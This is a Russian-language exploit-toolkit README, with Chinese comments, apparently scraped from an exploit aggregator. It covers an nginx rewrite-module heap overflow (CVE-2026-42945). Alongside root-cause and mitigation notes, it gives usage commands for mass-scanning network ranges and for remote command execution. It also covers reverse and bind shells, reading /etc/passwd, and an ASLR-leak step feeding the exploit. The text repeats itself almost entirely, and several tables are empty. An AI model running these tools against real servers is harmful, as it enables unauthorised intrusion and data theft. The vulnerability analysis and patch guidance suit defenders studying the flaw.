Sploitus

Exploit for CVE-2026-42945 CVE-2026-40701 CVE-2026-42934 CVE-2026-42945 CVE-2026-42946

kitploit · 2026-08-25

Exploit Code

MARKDOWN750 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LIAOZIQI-GZFLS-CVE-2026-42945
# CVE-2026-42945 Nginx Rift - PoC-инструментарий

Комплексный proof-of-concept инструментарий для **CVE-2026-42945** (Nginx Rift) — критической уязвимости переполнения буфера в куче в модуле `ngx_http_rewrite_module` сервера Nginx.

* * *

## Сводка по уязвимости

Поле| Сведения  
---|---  
**Идентификатор CVE**|  CVE-2026-42945  
**Название**|  Nginx Rift  
**Тип**|  Переполнение буфера в куче  
**Компонент**| `ngx_http_rewrite_module`  
**Критичность**|  Критическая (CVSS 9.2)  
**Затронутые версии**|  Nginx 0.6.27 - 1.30.0  
**Исправлено в**|  Nginx 1.30.1 / 1.31.0  
  
### Первопричина

Уязвимость возникает из-за неверного расчёта размера между двумя внутренними проходами при обработке правил rewrite. Если в конфигурации используются:

  * **Неименованные regex-захваты** (`$1`, `$2` и т.д.)
  * **В сочетании со строкой замены, содержащей`?`**



Nginx неверно вычисляет требуемый размер буфера на первом проходе и на втором проходе записывает данные за пределы выделенного буфера в куче.

### Пример уязвимой конфигурации

root@kitploit:~
    
    
    server {
        # VULNERABLE: Unnamed capture ($1) + '?' in replacement
        location /api/ {
            rewrite ^/api/(.*)$ /v1/$1?version=2 last;
        }
    }
    

### Безопасная конфигурация (исправленная)

root@kitploit:~
    
    
    server {
        # SAFE: Named capture (?P<path>) replaces $1
        location /api/ {
            rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
        }
    }
    

* * *

## Компоненты инструментария

### 1\. `nginx_rift_poc.py` \- основной PoC-инструмент

Сканер уязвимостей и инструмент эксплуатации для одной цели.

**Возможности:**

  * Определение версии Nginx из заголовка `Server`
  * Проверка, входит ли версия в уязвимый диапазон
  * Отправка специально сформированных HTTP-нагрузок (payload) для запуска переполнения кучи
  * Генерация уязвимых/безопасных тестовых конфигураций



**Использование:**

root@kitploit:~
    
    
    # Detect version and test vulnerability
    python nginx_rift_poc.py -t target.example.com
    
    # Test with custom payload
    python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
    
    # HTTPS target
    python nginx_rift_poc.py -t target.example.com --ssl -p 443
    
    # Generate vulnerable test configuration
    python nginx_rift_poc.py --gen-vuln-config > vuln.conf
    
    # Generate safe (patched) configuration
    python nginx_rift_poc.py --gen-safe-config > safe.conf
    

### 2\. `nginx_rift_scanner.py` \- массовый сканер

Пакетный сканер для одновременной проверки нескольких целей.

**Возможности:**

  * Многопоточное сканирование (по умолчанию 50 потоков)
  * Список целей из файла или CIDR-диапазона сети
  * Вывод в JSON для интеграции
  * Автоматическое обнаружение SSL для порта 443



**Использование:**

root@kitploit:~
    
    
    # Scan from target file (format: host:port per line)
    python nginx_rift_scanner.py -f targets.txt -o results.json
    
    # Scan single target
    python nginx_rift_scanner.py -t example.com -p 443 --ssl
    
    # Scan network range
    python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
    
    # High-speed scan
    python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
    

**Формат файла с целями:**

root@kitploit:~
    
    
    # Comments start with #
    192.168.1.1:80
    192.168.1.2:443:ssl
    example.com:8080
    

### 3\. `config_checker.py` \- анализатор конфигурации

Сканирует локальные файлы конфигурации Nginx на предмет уязвимых rewrite-шаблонов.

**Возможности:**

  * Разбор `nginx.conf` и переход по директивам `include`
  * Обнаружение неименованных захватов с `?` в строках замены
  * Поддержка автоматического исправления (с резервной копией)
  * Рекурсивное сканирование каталогов



**Использование:**

root@kitploit:~
    
    
    # Scan single file
    python config_checker.py /etc/nginx/nginx.conf
    
    # Scan directory recursively
    python config_checker.py -d /etc/nginx/conf.d/
    
    # Auto-fix vulnerable patterns (creates .bak backup)
    python config_checker.py --fix /etc/nginx/nginx.conf
    
    # Auto-detect common Nginx paths
    python config_checker.py
    

### 4\. `enhanced_poc.py` \- расширенный RCE PoC

Продвинутый инструмент эксплуатации, основанный на официальном исследовании depthfirst; поддерживает множество rewrite-шаблонов и режимов эксплуатации.

**Возможности:**

  * Автоматическое обнаружение 8 распространённых уязвимых rewrite-шаблонов (`/api/`, `/redirect/`, `/user/` и т.д.)
  * Поддержка нескольких символов-триггеров переполнения (`+`, `&`, `=`, `%`)
  * Умная генерация payload с контролируемым размером переполнения
  * Несколько режимов эксплуатации: `cmd` / `shell` / `bind` / `read`
  * Собственные базовые адреса кучи/libc для сред с отключённым ASLR
  * Динамическое построение тела spray с поддельной структурой `ngx_pool_cleanup_s`



**Использование:**

root@kitploit:~
    
    
    # Auto-detect patterns and version
    python enhanced_poc.py -t target.example.com --detect
    
    # Execute command (ASLR off)
    python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
    
    # Reverse shell
    python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
    
    # Bind shell
    python enhanced_poc.py -t target.example.com --bind --listen-port 5555
    
    # Read remote file
    python enhanced_poc.py -t target.example.com --read /etc/passwd
    
    # Custom heap base (for ASLR-off targets)
    python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
    
    # Use & as overflow trigger
    python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
    

**Подробности о режимах эксплуатации:**

**Настройка адресов (только при отключённом ASLR):**

  * `--heap-base`: базовый адрес кучи целевой системы (например, `0x555555559000`)
  * `--libc-base`: базовый адрес libc (например, `0x7ffff77ba000`)
  * `--system-addr`: прямой адрес `system()` (переопределяет libc-base)



### 5\. `aslr_leak_detector.py` \- детектор утечек ASLR

Комплексный сканер для обнаружения утечек информации, которые могут обойти защиту ASLR.

**Возможности:**

  * Обнаружение утечек через HTTP-заголовки (Server, X-Powered-By и т.д.)
  * Анализ страниц ошибок на наличие адресов памяти и стек-трейсов
  * Проверка Nginx-специфичных конечных точек (`/nginx_status`, `/actuator/*` и т.д.)
  * Обнаружение утечек адресов памяти (64-битные указатели, адреса кучи/libc/стека)
  * Зондирование структуры кучи через анализ времени отклика
  * Определение статуса ASLR (включён/выключен/слабый)
  * Прямая интеграция с `enhanced_poc.py` через JSON-отчёт



**Использование:**

root@kitploit:~
    
    
    # Scan single target
    python aslr_leak_detector.py -t target.example.com
    
    # Scan with SSL
    python aslr_leak_detector.py -t target.example.com -p 443 --ssl
    
    # Scan from file, save report
    python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
    
    # Scan network range
    python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
    
    # Quick scan mode
    python aslr_leak_detector.py -t target.example.com --quick
    

**Интеграция с расширенным PoC:**

root@kitploit:~
    
    
    # Step 1: Detect leaks
    python aslr_leak_detector.py -t target.example.com -o leak.json
    
    # Step 2: Use leaked addresses for exploit
    python enhanced_poc.py -t target.example.com \
      --heap-base 0x555555559000 \
      --libc-base 0x7ffff77ba000 \
      --cmd "id"
    

* * *

## Индикаторы обнаружения уязвимости

PoC-инструмент определяет уязвимость по следующим индикаторам:

Индикатор| Описание  
---|---  
Разрыв соединения  
  
* * *

## Установка

Внешние зависимости не требуются. Используется только стандартная библиотека Python.

root@kitploit:~
    
    
    # Clone or download the toolkit
    git clone <repository-url>
    cd CVE-2026-42945
    
    # Verify Python version (3.7+ recommended)
    python3 --version
    
    # Run any tool
    python3 nginx_rift_poc.py --help
    

* * *

## Затронутые версии

* * *

## Меры по смягчению последствий

### Немедленные действия

  1. **Обновите Nginx** до версии 1.30.1 (стабильной) или 1.31.0 (mainline)
  2. **Проверьте конфигурации** на наличие уязвимых rewrite-шаблонов
  3. **Включите ASLR** на всех хостах, где выполняются worker-процессы Nginx



### Временное решение через конфигурацию

Если немедленное обновление невозможно, замените неименованные захваты именованными:

root@kitploit:~
    
    
    # BEFORE (VULNERABLE)
    rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    
    # AFTER (SAFE)
    rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    

### Виртуальный патч на WAF

Разверните правила WAF для блокировки некорректных запросов, нацеленных на уязвимые rewrite-шаблоны.

* * *

## Отказ от ответственности

**Данный инструментарий предназначен только для авторизованного тестирования безопасности и исследовательских целей.**

  * Используйте только в отношении систем, которыми вы владеете или на тестирование которых имеете явное разрешение
  * Несанкционированный доступ к компьютерным системам противозаконен
  * Авторы не несут ответственности за неправомерное использование или ущерб, причинённый данным инструментом
  * Всегда тестируйте в изолированных средах перед использованием в продакшене



* * *

## Связанные CVE

Эта ошибка была обнаружена вместе с тремя другими проблемами повреждения памяти:

CVE| Описание| Критичность  
---|---|---  
CVE-2026-42946| Ошибка выделения памяти в SCGI/UWSGI| Высокая  
CVE-2026-40701| Использование после освобождения (use-after-free) при DNS-разрешении для OCSP| Средняя  
  
* * *

## Ссылки

  * Консультация по безопасности F5
  * Безопасность Nginx
  * Сведения о CVE-2026-42945



* * *

## Лицензия

Данный проект предоставляется в образовательных целях и для авторизованного тестирования безопасности.

* * *

**Автор:** Security Research Team **Дата:** 2026-06-11

* * *

# Китайская документация

## Обзор уязвимости

**CVE-2026-42945** (Nginx Rift) — это уязвимость **переполнения буфера в куче** в модуле `ngx_http_rewrite_module` сервера Nginx, существующая с 2008 года (Nginx 0.6.27) и остававшаяся скрытой около 18 лет.

### Механизм уязвимости

При обработке правил rewrite Nginx выполняет два внутренних прохода. Если в конфигурации одновременно выполняются следующие два условия:

  1. Используются **неименованные regex-захваты** (например, `$1`, `$2`)
  2. Строка замены содержит символ **`?`**



Nginx неверно вычисляет размер буфера на первом проходе, а на втором проходе записывает данные за границы буфера в куче, что приводит к переполнению кучи.

### Пример уязвимой конфигурации

root@kitploit:~
    
    
    server {
        # 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
        location /api/ {
            rewrite ^/api/(.*)$ /v1/$1?version=2 last;
        }
    }
    

### Пример безопасной конфигурации (исправленной)

root@kitploit:~
    
    
    server {
        # 安全:使用命名捕获 (?P<name>) 替代 $1
        location /api/ {
            rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
        }
    }
    

* * *

## Описание компонентов инструментария

### 1\. `nginx_rift_poc.py` — основной PoC-инструмент

Инструмент обнаружения и эксплуатации уязвимостей на одной цели.

**Возможности:**

  * Определение версии Nginx из заголовка ответа `Server`
  * Проверка, входит ли версия в уязвимый диапазон
  * Отправка специально сформированных HTTP-запросов для запуска переполнения кучи
  * Генерация уязвимых/безопасных конфигураций для тестирования



**Примеры использования:**

root@kitploit:~
    
    
    # 检测版本并测试漏洞
    python nginx_rift_poc.py -t target.example.com
    
    # 使用自定义 Payload 测试
    python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
    
    # HTTPS 目标
    python nginx_rift_poc.py -t target.example.com --ssl -p 443
    
    # 生成脆弱测试配置
    python nginx_rift_poc.py --gen-vuln-config > vuln.conf
    
    # 生成安全(已修复)配置
    python nginx_rift_poc.py --gen-safe-config > safe.conf
    

### 2\. `nginx_rift_scanner.py` — массовый сканер

Многопоточное одновременное сканирование нескольких целей.

**Возможности:**

  * Многопоточное сканирование: по умолчанию 50 потоков
  * Поддержка чтения целей из файла или CIDR-подсети
  * Вывод результатов в формате JSON
  * Автоматическое распознавание SSL-соединений на порту 443



**Примеры использования:**

root@kitploit:~
    
    
    # 从目标文件扫描(格式:每行 host:port)
    python nginx_rift_scanner.py -f targets.txt -o results.json
    
    # 扫描单个目标
    python nginx_rift_scanner.py -t example.com -p 443 --ssl
    
    # 扫描整个网段
    python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
    
    # 高速扫描(100线程)
    python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
    

**Формат файла с целями:**

root@kitploit:~
    
    
    # 井号开头的行为注释
    192.168.1.1:80
    192.168.1.2:443:ssl
    example.com:8080
    

### 3\. `config_checker.py` — анализатор конфигурационных файлов

Сканирует локальные конфигурационные файлы Nginx на предмет уязвимых rewrite-шаблонов.

**Возможности:**

  * Разбор `nginx.conf` и рекурсивный разбор файлов, подключаемых через `include`
  * Обнаружение rewrite-директив, содержащих неименованные захваты + `?`
  * Поддержка автоматического исправления (с автоматическим созданием резервной копии .bak)
  * Рекурсивное сканирование каталогов



**Примеры использования:**

root@kitploit:~
    
    
    # 扫描单个文件
    python config_checker.py /etc/nginx/nginx.conf
    
    # 递归扫描目录
    python config_checker.py -d /etc/nginx/conf.d/
    
    # 自动修复脆弱配置(自动备份原文件)
    python config_checker.py --fix /etc/nginx/nginx.conf
    
    # 自动探测常见 Nginx 配置路径
    python config_checker.py
    

### 4\. `enhanced_poc.py` — расширенная версия RCE PoC

Продвинутый инструмент эксплуатации уязвимостей на основе официального исследования depthfirst; поддерживает множество rewrite-шаблонов и способов эксплуатации.

**Возможности:**

  * Автоматическое обнаружение 8 распространённых уязвимых rewrite-шаблонов (`/api/`, `/redirect/`, `/user/` и т.д.)
  * Поддержка нескольких символов-триггеров переполнения (`+`, `&`, `=`, `%`)
  * Умная генерация payload с точным контролем размера переполнения
  * Несколько режимов эксплуатации: `cmd` / `shell` / `bind` / `read`
  * Задание собственных базовых адресов кучи/libc (для сред с отключённым ASLR)
  * Динамическое построение тела spray с поддельной структурой `ngx_pool_cleanup_s`



**Таблица расширения символов-триггеров переполнения:**

**Примеры использования:**

root@kitploit:~
    
    
    # 自动探测配置模式和版本
    python enhanced_poc.py -t target.example.com --detect
    
    # 执行命令(ASLR 关闭环境)
    python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
    
    # 反弹 Shell
    python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
    
    # 绑定 Shell(在目标上监听)
    python enhanced_poc.py -t target.example.com --bind --listen-port 5555
    
    # 读取远程文件
    python enhanced_poc.py -t target.example.com --read /etc/passwd
    
    # 自定义堆基址
    python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
    
    # 使用 & 作为溢出触发字符
    python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
    

**Описание режимов эксплуатации:**

**Настройка адресов (только для среды с отключённым ASLR):**

  * `--heap-base`: базовый адрес кучи целевой системы (например, `0x555555559000`)
  * `--libc-base`: базовый адрес libc (например, `0x7ffff77ba000`)
  * `--system-addr`: прямое указание адреса `system()`



### 5\. `aslr_leak_detector.py` — инструмент обнаружения утечек информации ASLR

Комплексный сканер, обнаруживающий утечки информации, которые можно использовать для обхода защиты ASLR.

**Возможности:**

  * Обнаружение утечек через HTTP-заголовки ответа (Server, X-Powered-By и т.д.)
  * Анализ страниц ошибок (адреса памяти, стек-трейсы)
  * Проверка Nginx-специфичных конечных точек (`/nginx_status`, `/actuator/*` и т.д.)
  * Обнаружение утечек адресов памяти (64-битные указатели, адреса кучи/libc/стека)
  * Зондирование структуры кучи (оценка состояния памяти по различиям во времени отклика)
  * Определение статуса ASLR (включён/выключен/слабый)
  * Прямая интеграция с `enhanced_poc.py` через JSON-отчёт



**Примеры использования:**

root@kitploit:~
    
    
    # 扫描单个目标
    python aslr_leak_detector.py -t target.example.com
    
    # SSL 扫描
    python aslr_leak_detector.py -t target.example.com -p 443 --ssl
    
    # 从文件批量扫描并保存报告
    python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
    
    # 扫描网段
    python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
    
    # 快速扫描
    python aslr_leak_detector.py -t target.example.com --quick
    

**Совместное использование с расширенной версией PoC:**

root@kitploit:~
    
    
    # 步骤 1:检测信息泄露
    python aslr_leak_detector.py -t target.example.com -o leak.json
    
    # 步骤 2:使用泄露的地址进行利用
    python enhanced_poc.py -t target.example.com \
      --heap-base 0x555555559000 \
      --libc-base 0x7ffff77ba000 \
      --cmd "id"
    

* * *

## Индикаторы обнаружения уязвимости

PoC-инструмент определяет наличие уязвимости на целевой системе по следующим признакам:

Индикатор| Описание  
---|---  
  
* * *

## Установка

Устанавливать сторонние зависимости не требуется — для работы достаточно стандартной библиотеки Python.

root@kitploit:~
    
    
    # 克隆或下载工具包
    git clone <repository-url>
    cd CVE-2026-42945
    
    # 验证 Python 版本(推荐 3.7+)
    python3 --version
    
    # 查看工具帮助
    python3 nginx_rift_poc.py --help
    

* * *

## Затронутые версии

* * *

## Меры по смягчению последствий

### Рекомендации по экстренным мерам

  1. **Немедленно обновите Nginx** до версии 1.30.1 (стабильная) или 1.31.0 (mainline)
  2. **Проверьте конфигурационные файлы** на наличие уязвимых rewrite-шаблонов
  3. **Включите ASLR** (рандомизацию адресного пространства), чтобы затруднить эксплуатацию RCE



### Временные меры по смягчению (если невозможно немедленное обновление)

Замените неименованные захваты именованными:

root@kitploit:~
    
    
    # 修改前(有漏洞)
    rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    
    # 修改后(安全)
    rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    

### Виртуальный патч WAF

Разверните правила межсетевого экрана веб-приложений (WAF) для блокировки вредоносных запросов, нацеленных на уязвимые rewrite-шаблоны.

* * *

## Отказ от ответственности

**Данный инструментарий предназначен только для авторизованного тестирования безопасности и исследовательских целей.**

  * Используйте инструмент только в отношении систем, которыми вы владеете или на которые получили явное разрешение
  * Несанкционированный доступ к компьютерным системам является правонарушением
  * Авторы не несут ответственности за злоупотребление инструментом или причинённый им ущерб
  * Всегда тестируйте в изолированной среде перед применением в продакшене



* * *

## Связанные уязвимости

Эта уязвимость — одна из серии проблем повреждения памяти, обнаруженных системой статического анализа на основе ИИ от depthfirst:

Идентификатор CVE| Описание| Критичность  
---|---|---  
CVE-2026-42946| Ошибка выделения памяти в SCGI/UWSGI| Высокая  
CVE-2026-40701| UAF при DNS-разрешении для OCSP| Средняя  
CVE-2026-42934| Выход за границы при чтении в разборе UTF-8  
  
* * *

## Справочные ссылки

  * Консультация по безопасности F5
  * Бюллетень безопасности Nginx
  * Сведения о CVE-2026-42945
  * Технический анализ SonicWall
  * Исследовательский отчёт Cloud Security Alliance



* * *

## Лицензия с открытым исходным кодом

Данный проект предназначен только для образовательных целей и авторизованного тестирования безопасности.

* * *

**Автор:** Security Research Team **Дата:** 2026-06-11